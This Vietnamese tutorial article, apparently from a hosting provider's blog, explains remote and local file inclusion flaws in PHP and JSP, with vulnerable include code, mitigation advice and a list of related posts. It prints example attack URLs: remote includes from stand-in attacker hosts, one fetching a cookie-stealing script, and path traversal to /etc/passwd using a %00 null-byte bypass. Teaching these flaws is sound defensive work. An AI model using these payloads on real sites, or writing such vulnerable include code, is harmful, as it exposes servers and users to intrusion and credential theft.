Tìm hiểu về tấn công khai thác lỗ hổng File Inclusion

19/10/2019

Lỗ hổng File Inclusion cho phép tin tặc truy cập trái phép vào những tập tin nhạy cảm trên máy chủ web hoặc thực thi các tệp tin độc hại bằng cách sử dụng chức năng “include”. Lỗ hổng này xảy ra do cơ chế kiểm tra đầu vào không được thực hiện tốt, khiến tin tặc có thể khai thác và chèn các dự liệu độc hại.

Hàm ‘Include’

Trước khi nói về chi tiết lỗ hổng, chúng ta cần hiểu sơ qua về một lời gọi hàm ‘include()’. Toàn bộ nội dung trong một file cụ thể sẽ được sao chép vào một file khác chứa lời gọi ‘include’. Phương thức này được sử dụng nhằm tránh việc code lặp và có thể sử dụng bất kì lúc nào. Lập trình viên thường sử dụng hàm include() nhằm thêm những dữ liệu, tệp tin mã nguồn dùng chung của các tệp tin trong ứng dụng. Những nơi thường được sử dụng như footers, headers, menu files … Dưới đây là một ví dụ đơn giản về hàm include.

1. Một menu trang như sau

menu.php:<?phpecho ‘<a href=”/home.asp”>HOME</a><a href=”/details.asp”>DETAILS</a><a href=”/contact.asp”>CONTACT US</a>;?>

2. Menu trang này có thể được sử dụng lại trong tất cả các trang của ứng dụng bằng cách dùng hàm include()

abc.php<html><body><div class =”menu”><?php include ‘menu.php';?></div><p>WELCOME</p></body></html>

3. Giờ thì file menu.php đã được bao hàm trong file abc.php, bất cứ khi nào abc.php được truy cập, nội dung trong file menu.php sẽ được sao chép vào abc.php và thực thi.

Tuy nhiên vấn đề này có thể bị tin tặc khai thác và tấn công trở lại website gây những hậu quả rất nguy hiểm. Đây là 2 lỗ hổng chính rất nguy hiểm liên quan đến hàm include()

  • Remote file inclusion
  • Local file inclusion

Lưu ý: Trong PHP có 1 số hàm cũng có chức năng tương tự, hay các hàm do người lập trình tự viết như: Inlude_once(), require(), require_once()…

Lỗ hổng Remote file inclusion

RFI cho phép tin tặc include và thực thi trên máy chủ mục tiêu một tệp tin được lưu trữ từ xa. Tin tặc có thể sử dụng RFI để chạy một mã độc trên cả máy của người dùng và phía máy chủ. Ảnh hưởng của kiểu tấn công này thay đổi từ đánh cắp tạm thời session token hoặc các dữ liệu của người dùng cho đến việc tải lên các webshell, mã độc nhằm đến xâm hại hoàn toàn hệ thống máy chủ.

Lỗ hổng Remote file inclusion trong PHP

PHP có nguy cơ cao bị tấn công RFI do việc sử dụng lệnh include rất nhiều và thiết đặt mặc định của server cũng ảnh hưởng một phần nào đó. Để bắt đầu chúng ta cần tìm nơi chứa file include trong ứng dụng phụ thuộc vào dữ liệu đầu vào người dùng.

1. Một trong những nơi chứa lỗ hổng có thể như ví dụ dưới đây, giá trị của ‘testfile’ được cung cấp bởi người dùng:

www.victim_site.com/abc.php?testfile=example

2. Mã nguồn PHP chứa lỗ hổng:

$test = $_REQUEST[“testfile”];Include($test.”.php”);

3. Thông số của ‘testfile’ được lấy từ phía người dùng. Đoạn mã sẽ lấy giá trị ‘testfile’ và trực tiếp include nó vào file PHP.

4. Sau đây là ví dụ về một hướng tấn công được sử dụng đối với đoạn mã trên:

www.victim_site.com/abc.php?test=https://www.attacker_site.com/attack_page

File “attack_page” được bao hàm vào trang có sẵn trên máy chủ và thực thi mỗi khi trang “abc.php” được truy cập. Tin tặc sẽ đưa mã độc vào “attack_page” và thực hiện hành vi độc hại.

Remote file inclusion trong JSP

1. Giả sử một kịch bản nơi một trang JSP sử dụng “c:import” nhằm nhập một tên tệp tin nào đó do người dùng cung cấp vào trang JSP hiện tại thông qua biến đầu vào ‘test’:

<c:import url=”<%= request.getParameter(“test”)%>”>

Tấn công:

www.victim_site.com/abc.jsp?test=https://www.attackersite.com/stealingcookie.js

2. Script độc hại trong stealingcookie.js sẽ được đưa vào trang của nạn nhân và điều khiển bởi tin tặc.

Tấn công Local file inclusion

Lỗ hổng Local file inclusion nằm trong quá trình include file cục bộ có sẵn trên server. Lỗ hổng xảy ra khi đầu vào người dùng chứa đường dẫn đến file bắt buộc phải include. Khi đầu vào này không được kiểm tra, tin tặc có thể sử dụng những tên file mặc định và truy cập trái phép đến chúng, tin tặc cũng có thể lợi dụng các thông tin trả về trên để đọc được những tệp tin nhạy cảm trên các thư mục khác nhau bằng cách chèn các ký tự đặc biệt như “/”, “../”, “-“.

Local file inclusion trong PHP:

1. Ví dụ đường dẫn sau có thể bị tấn công:

https://victim_site/abc.php?file=userinput.txt

2. Giá trị của biến ‘file’ được lấy vào đoạn mã PHP dưới đây:

<?php…include $_REQUEST[‘file’];…?>

3. Giờ thì tin tặc sẽ đưa mã độc vào biến ‘file’ để truy cập trái phép vào file trong cùng chủ mục hoặc sử dụng kí tự duyệt chỉ mục như “../” để di chuyển đến chỉ mục khác. Ví dụ tin tặc lấy được log bằng cách cung cấp đầu vào “/apache/logs/error.log” hoặc “/apache/logs/access.log” hay việc đánh cắp dữ liệu liên quan đến tài khoản của người dùng thông qua “../../etc/passwd” trên hệ thống Unix.

Trong một số trường hợp đặc biệt một phần mở rộng mặc định sẽ được thêm vào thông tin được đưa lên từ trình duyệt trước khi đưa vào hàm Include(). Cách tốt nhất tránh những phần mở rộng này là sử dụng byte rỗng kết thúc “%00” để vượt qua. Đây là cách được các tin tặc sử dụng để thực hiện hành vi độc hại và truy cập bất cứ kiểu file nào.

Ví dụ đầu vào được lấy từ đoạn mã sau và phần mở rộng mặc định là “.php”.

<?php“include/”.include($_GET[‘testfile’].”.php”);?>

Nếu tin tặc muốn truy cập một file không phải kiểu “text” chúng sẽ sử dụng một %00 (kí tự byte rỗng sau tên của file.

https://victim_site/abc.php?testfile=../../../../etc/passwd%00

Tương tự Local file inclusion trong JSP:

1. Giả sử URL dưới đây được yêu cầu trong ứng dụng và biến ‘test’ lấy dữ liệu đầu vào trong lệnh include:

www.victim_site.com/abc.jsp?test=xyz.jsp

Giá trị của biến ‘test’ sẽ được chuyển qua:

…<jsp:include page=”<%= (String)request.getParameter(\”test\”)%>”>…

2. Mũi tấn công dành cho đoạn mã trên có thể nằm trong một file database hợp lệ, được sử dụng như một đầu vào. Do có lỗ hổng local file inclusion nằm trong ứng dụng, file database sẽ được include vào trang JSP:

www.victim_site.com/abc.jsp?test=/WEB-INF/database/passwordDB

Khắc phục

Lỗ hổng xảy ra khi việc kiểm tra đầu vào không được chú trọng. Khuyến cáo riêng thì không nên hoặc hạn chế tới mức tối thiểu phải sử dụng các biến từ “User Input” để đưa vào hàm include hay eval.  Trong trường hợp phải sử dụng. với các thông tin được nhập từ bên ngoài, trước khi đưa vào hàm cần được kiểm tra kỹ lưỡng

  1. Chỉ chấp nhận kí tự và số cho tên file (A-Z 0-9). Blacklist toàn bộ kí tự đặc biệt không được sử dụng.
  2. Giới hạn API cho phép việc include file từ một chỉ mục xác định nhằm tránh directory traversal.

Tấn công File Inclusion có thể nguy hiểm hơn cả SQL Injection do đó thực sự cần thiết phải có những biện pháp khắc phục lỗ hổng này. Kiểm tra dữ liệu đầu vào hợp lý là chìa khóa để giải quyết vấn đề.

Tổng hợp

 

Tin liên quan

15/01/2021

Trí tuệ nhân tạo AI và tiềm năng ứng dụng đa lĩnh vực năm 2021

Ngày nay, AI được định nghĩa là sự mô phỏng các quá trình suy nghĩ và học tập của con người cho máy móc, đặc biệt là các hệ thống máy tính. Các quá trình này bao gồm việc học tập (thu thập thông tin và các quy tắc sử dụng thông tin), lập luận (sử dụng các quy tắc để đạt được kết luận gần đúng hoặc xác định), và tự sửa lỗi.

09/01/2021

[Bạn có biết?] Những ứng dụng tuyệt vời của công nghệ điện toán đám mây trong doanh nghiệp

Chuyên mục "Bạn có biết?" tháng 01/2021 của Viettel IDC lần này sẽ cung cấp cho các bạn những kiến thức cơ bản về "Những ứng dụng tuyệt vời của công nghệ điện toán đám mây trong doanh nghiệp", cùng đón đọc nhé!

07/01/2021

Kỹ sư IT - Nghề HOT nhất năm 2020 trong bối cảnh doanh nghiệp thực hiện chuyển đổi số

Năm 2020 với nhiều biến động đã qua đi, chúng ta hãy cùng nhìn lại xem thị trường nhân sự IT có những biến chuyển gì nhé. Nhìn chung, doanh số, tốc độ tăng trưởng, cũng như nhu cầu tuyển dụng của các công ty trong ngành IT có dấu hiệu hồi phục và tăng trưởng trở lại sau đại dịch Covid-19.

07/01/2021

Thuê VPS Mỹ, hãy chọn những nhà cung cấp lớn và uy tín

​Bạn có Website cung cấp sản phẩm và dịch vụ cho thị trường Mỹ. Bạn cần thuê VPS Mỹ hoặc những vùng lân cận để gia tăng tốc độ tải cho Website của mình. Đừng bỏ qua vì bài viết này là dành cho bạn. Qua bài viết, chúng tôi sẽ giúp bạn đưa ra ý tưởng phù hợp nhất khi lựa chọn thuê VPS Mỹ cho mục đích sử dụng của mình. Hãy cùng xem nhé.

07/01/2021

Viettel IDC - Điểm dừng chân cho nhu cầu thuê Cloud Server SSD tại Việt Nam

​Có lẽ phần lớn bạn đọc khi đọc đến bài viết này đều biết và hiểu định dạng ổ cứng SSD là gì rồi. Vậy bạn sẽ đánh giá thế nào khi Cloud Server kết hợp với ổ cứng SSD? Cloud Server vốn dĩ đã mang lại hiệu năng cao khi sử dụng. Nhưng chắc chắn với những lợi thế mà ổ cứng SSD mang lại, Cloud Server dường như sẽ như hổ mọc thêm cánh.

07/01/2021

Nếu được chọn lựa, bạn sẽ chọn VPS giá rẻ cho sinh viên hay VPS miễn phí?

VPS giá rẻ cho sinh viên là tên gọi chung cho dịch vụ lưu trữ giá rẻ trên thị trường hiện nay. Có khá nhiều nhà cung cấp dịch vụ này trên thị trường. Tuy nhiên, bên cạnh đó chúng ta cũng có các hình thức cung cấp VPS miễn phí. Vậy liệu rằng VPS giá rẻ cho sinh viên sẽ hơn VPS miễn phí ở những điểm nào?

07/01/2021

Bạn cần lưu ý những điều gì khi thuê VPS có GPU?

​Nếu bạn là một người thường xuyên sử dụng các game đồ hoạ nặng, treo máy trong thời gian dài thì giải pháp thuê VPS có GPU là một sự lựa chọn phù hợp. Ngoài vấn đề hiệu năng được giải quyết nhờ GPU, bạn còn có thể bảo vệ phần cứng của mình khỏi những vấn đề hưu hỏng khi sử dụng trong thời gian dài.

05/01/2021

Báo cáo về thị trường Điện toán đám mây tại Việt Nam năm 2020

Thị trường Điện toán đám mây năm 2020 đã được những chuyên gia trong ngành dự đoán trước về sự bùng nổ phát triển, đặc biệt là khi đại dịch Covid-19 diễn ra từ đầu năm đến nay khiến nhu cầu về công nghệ của doanh nghiệp trở nên cấp thiết hơn bao giờ hết. Chính vì điều này, thị trường Điện toán đám mây đã tăng trưởng nhanh chóng và đạt được những thành công nhất định, không chỉ trên thế giới mà cả ở Việt Nam trong năm nay.

05/01/2021

Doanh nghiệp nên tự xây dựng Cloud Server hay đi thuê?

​Xây dựng Cloud Server trên thực tế là một công việc phức tạp và tốn kém cả về nguồn lực và chi phí. Do đó, không phải doanh nghiệp nào cũng nên tự xây dựng Cloud Server dành riêng cho mình. Bài viết dưới đây, Viettel IDC sẽ phân tích giúp bạn những vấn đề bạn nên lường trước khi xây dựng Cloud Server và trong trường hợp nào thì doanh nghiệp bạn phù hợp để làm như vậy nhé.

05/01/2021

Nên chọn nhà cung cấp Việt Nam hay nước ngoài khi thuê VPS?

​Nhu cầu thuê VPS để sử dụng ngày càng nhiều. Tuy nhiên, đa phần mọi người đều “mắc kẹt” giữa việc lựa chọn thuê VPS của nhà cung cấp Việt Nam hay nước ngoài. Nếu bạn cũng đang trong trạng thái mông lung như vậy thì bài viết này là dành cho bạn. Qua bài viết này, Viettel IDC sẽ phân tích và đưa ra góc nhìn đa chiều giúp bạn có thể đưa ra quyết định xoay quanh vấn đề nay nhé.